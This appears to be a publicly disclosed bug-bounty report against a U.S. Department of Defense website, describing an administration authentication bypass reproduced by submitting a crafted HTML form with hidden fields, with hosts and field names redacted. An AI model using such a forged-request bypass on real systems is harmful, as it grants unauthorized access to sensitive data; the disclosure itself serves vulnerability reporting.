HexBrain

U.S. Dept Of Defense · Report #1146600

Administration Authentication Bypass on https://█████

Validstatus
criticalseverity
16upvotes
20 Apr 2021disclosed

How it was found

Hi there I found a way to connect to an administration space on your website https://██████████

#how to reproduce ?

    • go to this link : https://███/██████████
    • create a html file with :
<form action="https://████████/██████████" method="post">
    <input type="hidden" name="█████" value="">
    <input type="hidden" name="█████" value="1">
    <input type="submit">
</form>
    • launch the file, click on the button and return to the page https://███████/█████
    • refresh the page and you have access to the administration

POC :

██████████

if you need more information, contact me

best regards, fiveguyslover

Impact

access to sensitive data and the ability to modify information.

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

    • go to this link : https://█████/███████
    • create a html file with :
<form action="https://█████/███" method="post">
    <input type="hidden" name="███" value="">
    <input type="hidden" name="████" value="1">
    <input type="submit">
</form>
    • launch the file, click on the button and return to the page https://██████/█████
    • refresh the page and you have access to the administration

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original